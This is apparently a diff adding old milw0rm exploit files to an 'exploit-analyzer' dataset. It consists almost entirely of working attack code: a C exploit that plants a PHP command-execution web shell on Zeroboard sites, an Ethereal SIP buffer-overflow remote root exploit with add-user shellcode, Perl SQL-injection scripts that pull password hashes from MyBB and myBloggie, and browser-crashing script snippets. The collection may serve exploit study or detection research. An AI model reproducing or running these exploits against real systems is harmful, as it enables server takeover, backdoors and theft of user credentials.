+ "`mv data/%s/d214924151d9e1ffac5bb2258561031e
247
+ data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103\r\n"
248
+ //"-----------------------------8ac34985126d8\r\n"
249
+ //"Content-Disposition: form-data; name=\"sitelink1\"\r\n"
250
+ //"\r\n"
251
+ //"\r\n"
252
+ //"-----------------------------8ac34985126d8\r\n"
253
+ //"Content-Disposition: form-data; name=\"sitelink2\"\r\n"
254
+ //"\r\n"
255
+ //"\r\n"
256
+ "-----------------------------8ac34985126d8\r\n"
257
+ "Content-Disposition: form-data; name=\"file1\";
258
+ filename=\"d214924151d9e1ffac5bb2258561031e\"\r\n"
259
+ "Content-Type: text/plain\r\n"
260
+ "\r\n"
261
+ "<?
262
+ if(count($_GET)) extract($_GET);
263
+ if(count($_POST)) extract($_POST);
264
+ if(count($_SERVER)) extract($_SERVER);
265
+ echo \"<form action=$PHP_SELF method=post>
266
+ command : <input type=text name=cmd>
267
+ <input type=submit></form><hr>\";
268
+ if($cmd){
269
+ $cmd = str_replace(\"\\\\\", \"\", $cmd);
270
+ echo \"<pre>\"; system($cmd); echo \"</pre>\";
271
+ }
272
+ ?>\r\n"
273
+ "-----------------------------8ac34985126d8\r\n"
274
+ "Content-Disposition: form-data; name=\"file2\"; filename=\"\"\r\n"
275
+ "Content-Type: application/octet-stream\r\n"
276
+ "\r\n"
277
+ "\r\n"
278
+ "-----------------------------8ac34985126d8\r\n"
279
+ "Content-Disposition: form-data; name=\"x\"\r\n"
280
+ "\r\n"
281
+ "36\r\n"
282
+ "-----------------------------8ac34985126d8\r\n"
283
+ "Content-Disposition: form-data; name=\"y\"\r\n"
284
+ "\r\n"
285
+ "11\r\n"
286
+ "-----------------------------8ac34985126d8--\r\n"
287
+ , zb_tid, zb_tid, zb_tid);
288
+
289
+
290
+
291
+ memset(WriteBuf, 0, sizeof(WriteBuf));
292
+
293
+ sprintf(WriteBuf,
294
+ "POST /%s/write_ok.php HTTP/1.1\r\n"
295
+ "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
296
+ application/x-shockwave-flash, application/vnd.ms-excel,
297
+ application/vnd.ms-powerpoint, application/msword, */*\r\n"
298
+ "Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
299
+ sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
300
+ mode=write&sn1=&divpage=1\r\n"
301
+ "Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8\r\n"
302
+ "Accept-Encoding: gzip, deflate\r\n"
303
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
304
+ "Host: %s\r\n"
305
+ "Content-Length: %d\r\n"
306
+ "Connection: Keep-Alive\r\n"
307
+ "Cache-Control: no-cache\r\n"
308
+ "\r\n""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);
309
+
310
+ fprintf(stdout, " [+] Zeroboard writing ");
311
+ fflush(stdout);
312
+
313
+ if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
314
+
315
+ tv.tv_sec = 60;
316
+ tv.tv_usec = 0;
317
+
318
+ FD_ZERO(&fds);
319
+
320
+ for(;;){
321
+
322
+ memset(ReadBuf, 0, sizeof(ReadBuf));
323
+
324
+ if(i!=0xb33f) StatusProcess();
325
+
326
+ FD_SET(sockfd, &fds);
327
+
328
+ if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
329
+ if(FD_ISSET(sockfd, &fds)){
330
+
331
+ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
332
+
333
+
334
+ if(strstr(ReadBuf, "HTTP/1.1 ")){
335
+ if(strstr(ReadBuf+17, "Connection: close\r\n")) reconn = 1;
336
+
337
+ if(strstr(ReadBuf+9, "200 OK\r\n")) {
338
+ err++;
339
+ }
340
+ else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
341
+ OutputErr(" failed!(page not found)\n", 0);
342
+ }
343
+ else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
344
+ OutputErr(" failed!(Bad Request)\n", 0);
345
+ }
346
+ else {
347
+ OutputErr(ReadBuf, 0);
348
+ }
349
+
350
+ }
351
+
352
+ if(err == 0){
353
+
354
+ if(strstr(ReadBuf,"<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id="))
355
+ {
356
+ fprintf(stdout, " ok!\n");
357
+ fflush(stdout);
358
+
359
+ fprintf(stdout," [+] Confirmming your article");
360
+ fflush(stdout);
361
+
362
+ if(tmp_ptr = strstr(ReadBuf+18, "url=")) {
363
+
364
+ ptr = tmp_ptr+4;
365
+ if(ptr != NULL){
366
+ if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = '\0';
367
+ }
368
+ }
369
+ if(ptr = strstr(ReadBuf,"=&no=")){
370
+ ptr += 5;
371
+ memset(no, 0, sizeof(no));
372
+ for(i=0; i<16; i++){
373
+ if(ptr[i] == '&') break;
374
+ no[i] = ptr[i];
375
+ }
376
+ }
377
+ if(strlen(no) > 0){
378
+ fprintf(stdout," - found!\n");
379
+ fflush(stdout);
380
+ return;
381
+ }
382
+ else {
383
+ OutputErr(" - failed!(not writed!?!)\n", 0);
384
+ }
385
+ }
386
+ else {
387
+ if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"\x30\x0d\x0a\x0d\x0a")) break;
388
+ }
389
+ }
390
+ else {
391
+ OutputErr("err number error\n", 0);
392
+ }
393
+ }
394
+ }
395
+
396
+ fprintf(stderr, " error!\n");
397
+
398
+ }
399
+
400
+ void ExploitZboard(void)
401
+ {
402
+ fd_set fds;
403
+ struct timeval tv;
404
+ int err = -1;
405
+
406
+ if(reconn == 1) ConnectZboard(zb_host, zb_port);
407
+
408
+ memset(WriteBuf, 0, sizeof(WriteBuf));
409
+
410
+ sprintf(WriteBuf,
411
+ "GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
412
+ sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
413
+ , zb_dir, zb_tid);
414
+
415
+ memcpy(WriteBuf+strlen(WriteBuf), "\x25\x30\x30", 3);
416
+
417
+ sprintf(WriteBuf+strlen(WriteBuf),
418
+ "&select_arrange=headnum&desc=asc&no=%s HTTP/1.1\r\n"
419
+ "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
420
+ application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
421
+ "Referer: http://%s/%s/zboard.php\r\n"
422
+ "Accept-Encoding: gzip, deflate\r\n"
423
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
424
+ "Host: %s\r\n"
425
+ "Connection: Keep-Alive\r\n"
426
+ "\r\n", no, zb_host, zb_dir, zb_host);
427
+
428
+ fprintf(stdout, " [+] Exploiting zeroboard start ");
429
+ fflush(stdout);
430
+
431
+ if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
432
+
433
+ tv.tv_sec = 60;
434
+ tv.tv_usec = 0;
435
+
436
+ FD_ZERO(&fds);
437
+
438
+ for(;;){
439
+
440
+ StatusProcess();
441
+
442
+ memset(ReadBuf, 0, sizeof(ReadBuf));
443
+
444
+ FD_SET(sockfd, &fds);
445
+ if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
446
+ if(FD_ISSET(sockfd, &fds)){
447
+
448
+ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
449
+
450
+
451
+ if(strstr(ReadBuf, "HTTP/1.1 ")){
452
+
453
+ if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
454
+
455
+ if(strstr(ReadBuf+9, "200 OK\r\n")) {
456
+ err++;
457
+ }
458
+ else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
459
+ OutputErr(" failed!(page not found)\n", 0);
460
+ }
461
+ else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
462
+ OutputErr(" failed!(Bad Request)\n", 0);
463
+ }
464
+ else {
465
+ OutputErr(ReadBuf, 0);
466
+ }
467
+
468
+ }
469
+
470
+ if(err >= 0){
471
+
472
+ if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "\x30\x0d\x0a\x0d\x0a")){
473
+ fprintf(stdout," Done!\n");
474
+ fflush(stdout);
475
+ return;
476
+ }
477
+
478
+ }
479
+
480
+ }
481
+ }
482
+
483
+ fprintf(stderr," error!\n");
484
+
485
+ }
486
+
487
+ void ConfirmPHPScript(void)
488
+ {
489
+ fd_set fds;
490
+ struct timeval tv;
491
+
492
+ if(reconn == 1) ConnectZboard(zb_host, zb_port);
493
+
494
+ memset(WriteBuf, 0, sizeof(WriteBuf));
495
+ sprintf(WriteBuf,
496
+ "GET /%s/data/%s/shell.php HTTP/1.1\r\n"
497
+ "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
498
+ application/x-shockwave-flash, application/vnd.ms-excel,
499
+ application/vnd.ms-powerpoint, application/msword, */*\r\n"
500
+ "Referer: http://%s/%s/zboard.php\r\n"
501
+ "Accept-Encoding: gzip, deflate\r\n"
502
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
503
+ "Host: %s\r\n"
504
+ "Connection: Keep-Alive\r\n"
505
+ "\r\n", zb_dir, zb_tid, zb_host, zb_dir, zb_host);
506
+
507
+ fprintf(stdout, " [*] Confirmming your backdoor php script");
508
+ fflush(stdout);
509
+
510
+ if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
511
+
512
+ tv.tv_sec = 60;
513
+ tv.tv_usec = 0;
514
+
515
+
516
+ FD_ZERO(&fds);
517
+
518
+ for(;;){
519
+ memset(ReadBuf, 0, sizeof(ReadBuf));
520
+
521
+ FD_SET(sockfd, &fds);
522
+ if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
523
+ if(FD_ISSET(sockfd, &fds)){
524
+ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
525
+
526
+
527
+ if(strstr(ReadBuf, "HTTP/1.1 ")){
528
+ if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;
529
+
530
+ if(strstr(ReadBuf+9, "200 OK\r\n")) {
531
+ fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!\n
532
+ [+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
533
+ fflush(stdout);
534
+ return;
535
+ }
536
+ else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
537
+ OutputErr(" - page not found\n - 'mv' instruction permission denied.\n - zeroboard was patched.\n"
538
+ " [-] Exploit failed!\n", 0);
539
+ }
540
+ else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
541
+ OutputErr(" - Bad Request\n"
542
+ " [-] Exploit failed!\n", 0);
543
+ }
544
+ else {
545
+ OutputErr(ReadBuf, 0);
546
+ }
547
+ }
548
+
549
+
550
+ }
551
+ }
552
+
553
+ fprintf(stderr," error!\n");
554
+ }
555
+
556
+
557
+ void DeleteArticle(void)
558
+ {
559
+ fd_set fds;
560
+ struct timeval tv;
561
+ char post_data[BUFSIZ];
562
+
563
+
564
+ if(reconn == 1) ConnectZboard(zb_host, zb_port);
565
+
566
+ sprintf(post_data,
567
+ "page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9\r\n", zb_tid, no);
568
+
569
+ memset(WriteBuf, 0, sizeof(WriteBuf));
570
+ sprintf(WriteBuf,
571
+ "POST /%s/delete_ok.php HTTP/1.1\r\n"
572
+ "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
573
+ "Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s\r\n"
574
+ "Content-Type: application/x-www-form-urlencoded\r\n"
575
+ "Accept-Encoding: gzip, deflate\r\n"
576
+ "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
577
+ "Host: %s\r\n"
578
+ "Content-Length: %d\r\n"
579
+ "Connection: close\r\n"
580
+ "Cache-Control: no-cache\r\n"
581
+ "\r\n"
582
+ "%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);
583
+
584
+
585
+ fprintf(stdout, " [*] Remove your article ");
586
+ fflush(stdout);
587
+
588
+ if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);
589
+
590
+ tv.tv_sec = 60;
591
+ tv.tv_usec = 0;
592
+
593
+ FD_ZERO(&fds);
594
+
595
+ for(;;){
596
+
597
+ memset(ReadBuf, 0, sizeof(ReadBuf));
598
+
599
+ FD_SET(sockfd, &fds);
600
+
601
+ if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
602
+ if(FD_ISSET(sockfd, &fds)){
603
+ if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);
604
+
605
+ if(strstr(ReadBuf, "HTTP/1.1 ")){
606
+ if(strstr(ReadBuf+9, "200 OK\r\n")) {
607
+
608
+ if(strstr(ReadBuf+17, "<meta http-equiv=\"refresh\" content=\"0; url=zboard.php?id=")) {
609
+ fprintf(stdout, " - ok! :)\n");
610
+ fflush(stdout);
611
+ return;
612
+ }
613
+ else{
614
+ break;
615
+ }
616
+ }
617
+ else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
618
+ OutputErr(" - failed!(page not found)\n", 0);
619
+ }
620
+ else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
621
+ OutputErr(" - failed!(Bad Request)\n", 0);
622
+ }
623
+ else {
624
+ fprintf(stderr,"%s", ReadBuf);
625
+ exit(1);
626
+ }
627
+ }
628
+
629
+ }
630
+ }
631
+
632
+ fprintf(stderr," error!\n");
633
+ }
634
+
635
+ void StatusProcess(void)
636
+ {
637
+ putchar('.');
638
+ fflush(stdout);
639
+ }
640
+
641
+
642
+ void OutputErr(char *msg, int type)
643
+ {
644
+ if(!type){
645
+ fprintf(stderr,"%s", msg);
646
+ fflush(stderr);
647
+ }
648
+ else if(type==1){
649
+ if(!strcmp(msg, zb_host)) herror(msg);
650
+ else perror(msg);
651
+ }
652
+
653
+ DeleteArticle();
654
+ exit(1);
655
+ }
656
+
657
+ void Usage(char *arg)
658
+ {
659
+ fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada\n");
660
+ fprintf(stderr,"--------------------------------------------------------------------------\n");
661
+ fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
662
+ fprintf(stderr,"--------------------------------------------------------------------------\n");
663
+
664
+ exit(1);
665
+ }
666
+
667
+ // milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1021.txt ADDED
@@ -0,0 +1,200 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* tethereal_sip.c (now quite functional)
2
+ *
3
+ * Ethereal (0.10.0 to 0.10.10) SIP Dissector remote root exploit
4
+ *
5
+ * Advisory:
6
+ * http://www.ethereal.com/appnotes/enpa-sa-00019.html
7
+ *
8
+ * produced by Team W00dp3ck3r:
9
+ * frauk\x41iser
10
+ * mag00n
11
+ * s00n
12
+ * thorben
13
+ *
14
+ * Notes:
15
+ * tested on Debian Sarge
16
+ * Linux maggot4 2.6.8-1-386 #1 Mon Sep 13 23:29:55 EDT 2004 i686 GNU/Linux
17
+ *
18
+ * tested version of ethereal:
19
+ * http://www.ethereal.com/distribution/all-versions/ethereal-0.10.10.tar.gz
20
+ * (./configure, make, make install ;))
21
+ *
22
+ * victim has to switch from normal user to root using "su -"
23
+ * the exploit adds a user named "su" with password "su" on the victim host
24
+ *
25
+ */
26
+
27
+
28
+ #include <stdio.h>
29
+ #include <stdlib.h>
30
+ #include <sys/types.h>
31
+ #include <sys/socket.h>
32
+ #include <netdb.h>
33
+ #include <netinet/in.h>
34
+
35
+
36
+ unsigned char sip_header[] =
37
+ "\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"
38
+ "\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"
39
+ "\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"
40
+ "\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"
41
+ "\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"
42
+ "\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"
43
+ "\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"
44
+ "\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"
45
+ "\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"
46
+ "\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"
47
+ "\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b";
48
+
49
+ unsigned char callid[] =
50
+ "\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20";
51
+
52
+
53
+ /* adduser shellcode, user: "su", pwd: "su" Full Size=116, splitted into
54
+ 2 parts because one buffer was too small. thx to http://metasploit.com */
55
+ unsigned char shellcode[] =
56
+ "\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"
57
+ "\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76"
58
+ "\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb"
59
+ "\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b"
60
+ "\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed"
61
+ "\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94"
62
+ "\xd6\xdf\x9f\xe2\x2e\xe6";
63
+
64
+
65
+ unsigned char cseq[] =
66
+ "\x0a\x43\x53\x65\x71\x3a\x20";
67
+
68
+ /* the malformed cseq method field. the buffer has a size of 16 byte. you need
69
+ 48 byte to overwrite the return address. the first byte is checked isalpha(),
70
+ so we splitted the shellcode in a way that the first char of cseq_method passes
71
+ the isalpha() check. */
72
+ unsigned char cseq_method[] =
73
+ "\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb";
74
+
75
+
76
+ /* needed to be a fully valid sip packet */
77
+ unsigned char sip_footer[] =
78
+ "\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a"
79
+ "\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74"
80
+ "\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72"
81
+ "\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"
82
+ "\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20"
83
+ "\x0a";
84
+
85
+
86
+
87
+ int main(int argc, char * argv[]) {
88
+ unsigned int i, offset, ret, p_addr;
89
+ struct sockaddr_in dest;
90
+ struct hostent *he;
91
+ int sock, slen = sizeof(struct sockaddr);
92
+ unsigned char buffer[2048];
93
+
94
+ // help output
95
+ if(argc < 3) {
96
+ printf("correct syntax: %s <flag> <host> \n", argv[0]);
97
+ printf("possible flag: \n");
98
+ printf("1 the ethereal user has started tethereal"
99
+ "with full path as root \n");
100
+ printf("2 the ethereal user has started tethereal"
101
+ "without directorypath as root \n");
102
+ return 1;
103
+ }
104
+
105
+ // p_addr may differ on other systems ;)
106
+ if (argv[1][0] == '1') {
107
+ p_addr = 0xbffee328;
108
+ }
109
+
110
+ if (argv[1][0] == '2') {
111
+ p_addr = 0xbffee338;
112
+ }
113
+
114
+ // destination-ip check
115
+ if((he = gethostbyname(argv[2])) == NULL) {
116
+ printf("[!] Couldn't resolve %s\n", argv[2]);
117
+ return 1;
118
+ }
119
+
120
+ // open socket
121
+ if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
122
+ perror("socket()");
123
+ return 1;
124
+ }
125
+
126
+ // set packet parameters
127
+ dest.sin_port = htons(5060);
128
+ dest.sin_family = AF_INET;
129
+ dest.sin_addr = *((struct in_addr *)he->h_addr);
130
+
131
+ // set the returnaddress (may differ on other systems)
132
+ ret = 0xbffee240;
133
+
134
+
135
+ //// generate a buffer containing the data ////
136
+ offset = 0;
137
+
138
+ // set all values of the buffer to 0x0
139
+ memset(buffer, 0x0, sizeof(buffer));
140
+
141
+ // copy the header into the buffer
142
+ memcpy(buffer+offset, sip_header, sizeof(sip_header));
143
+ offset += sizeof(sip_header) -1;
144
+
145
+ // concat the callid into the buffer
146
+ memcpy(buffer+offset, callid, sizeof(callid));
147
+ offset += sizeof(callid) -1;
148
+
149
+ // add the callid-value (nop+shellcode)
150
+ i = 128 - sizeof(shellcode) +1;
151
+ memset(buffer+offset, 0x90, i);
152
+ offset += i;
153
+
154
+ // insert shellcode into buffer
155
+ memcpy(buffer+offset, shellcode, sizeof(shellcode));
156
+ offset += sizeof(shellcode) -1;
157
+
158
+
159
+ // concat the cseq
160
+ memcpy(buffer+offset, cseq, sizeof(cseq));
161
+ offset += sizeof(cseq) -1;
162
+
163
+ // generate the part, which causes the overflow (=cseq-method)
164
+ memcpy(buffer+offset, cseq_method, sizeof(cseq_method));
165
+ offset += sizeof(cseq_method) -1;
166
+
167
+ // fill the rest of cseq_method with A
168
+ memset(buffer+offset, 0x41, 30);
169
+ offset += 30;
170
+ // write return address
171
+ *(long *)&buffer[offset] = ret;
172
+ offset += 4;
173
+
174
+ // repair the first pointer after ret- address
175
+ *(long *)&buffer[offset] = 0x08215184; // is a pointer DEST-value: 0x1
176
+ offset += 4;
177
+ // repair second pointer after ret- address
178
+ *(long *)&buffer[offset] = p_addr;
179
+ offset += 4;
180
+
181
+ // the finalising part of the message
182
+ memcpy(buffer+offset, sip_footer, sizeof(sip_footer));
183
+
184
+ // send the buffer to the victim
185
+ if (sendto(sock, buffer, sizeof(buffer), 0,
186
+ (struct sockaddr *)&dest, slen)== -1) {
187
+ printf("[!] Error sending packet!\n");
188
+ return 1;
189
+ }
190
+
191
+ // DEBUG //
192
+ // printf("%s\n", buffer);
193
+
194
+ printf("[*] dark W00dp3ck3r packet sent!\n");
195
+ close(sock);
196
+ return 0;
197
+
198
+ }
199
+
200
+ // milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1022.txt ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ #
3
+ # SQL Injection Exploit for MyBulletinBoard (MyBB) <= 1.00 RC4
4
+ # This exploit show the MD5 crypted password of the user id you've chose
5
+ # Related advisory:
6
+ # Patch: http://www.mybboard.com/community/showthread.php?tid=2559
7
+ # http://fain182.badroot.org
8
+ # http://www.codebug.org
9
+ # Discovered by Alberto Trivero and coded with FAiN182
10
+
11
+ use LWP::Simple;
12
+
13
+ print "\n\t===========================================\n";
14
+ print "\t= Exploit for MyBulletinBoard <= 1.00 RC4 =\n";
15
+ print "\t= Alberto Trivero & FAiN182 - codebug.org =\n";
16
+ print "\t===========================================\n\n";
17
+
18
+ if(!$ARGV[0] or !$ARGV[1]) {
19
+ print "Usage:\nperl $0 [full_target_path] [user_id]\n\nExample:\nperl $0 http://www.example.com/mybb/ 1\n";
20
+ exit(0);
21
+ }
22
+
23
+ $url = "calendar.php?action=event&eid='%20UNION%20SELECT%20uid,uid,null,null,null,null,password,null%20FROM%20mybb_users%20WHERE%20uid=$ARGV[1]/*";
24
+ $page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
25
+ print "[+] Connected to: $ARGV[0]\n";
26
+ $page =~ m/<td><strong>(.*?)<\/strong>/ && print "[+] User ID is: $1\n";
27
+ print "[-] Unable to retrieve User ID\n" if(!$1);
28
+ $page =~ m/<a href="member\.php\?action=profile&uid=">(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";
29
+ print "[-] Unable to retrieve hash of password\n" if(!$1);
30
+
31
+ # milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1023.txt ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ #
3
+ # SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
4
+ # This exploit show the username of the administrator of the blog and his password crypted in MD5
5
+ # Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&
6
+ # (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
7
+ # Patch: http://mywebland.com/forums/viewtopic.php?t=180
8
+ # Coded by Alberto Trivero and Discovered with CorryL
9
+
10
+ use LWP::Simple;
11
+
12
+ print "\n\t=======================================\n";
13
+ print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
14
+ print "\t= Alberto Trivero - codebug.org =\n";
15
+ print "\t=======================================\n\n";
16
+
17
+ if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
18
+ print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
19
+ exit(0);
20
+ }
21
+
22
+ $url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
23
+ $page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
24
+ print "[+] Connected to: $ARGV[0]\n";
25
+ if($ARGV[1] eq '2.1.1') {
26
+ $page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
27
+ print "[-] Unable to retrieve username\n" if(!$1);
28
+ }
29
+ else {
30
+ $page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
31
+ print "[-] Unable to retrieve username\n" if(!$1);
32
+ }
33
+ $page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
34
+ print "[-] Unable to retrieve hash of password\n" if(!$1);
35
+
36
+
37
+ # milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1024.txt ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ <script>
2
+ window.onerror=new Function("history.go(0)");
3
+ function btf(){btf();}
4
+ btf();
5
+ </script>
6
+
7
+ # milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1025.txt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ <body onLoad="window()">
2
+
3
+ # milw0rm.com [2005-05-31]
exploit-analyzer/exploits/exploit_1026.txt ADDED
@@ -0,0 +1,273 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
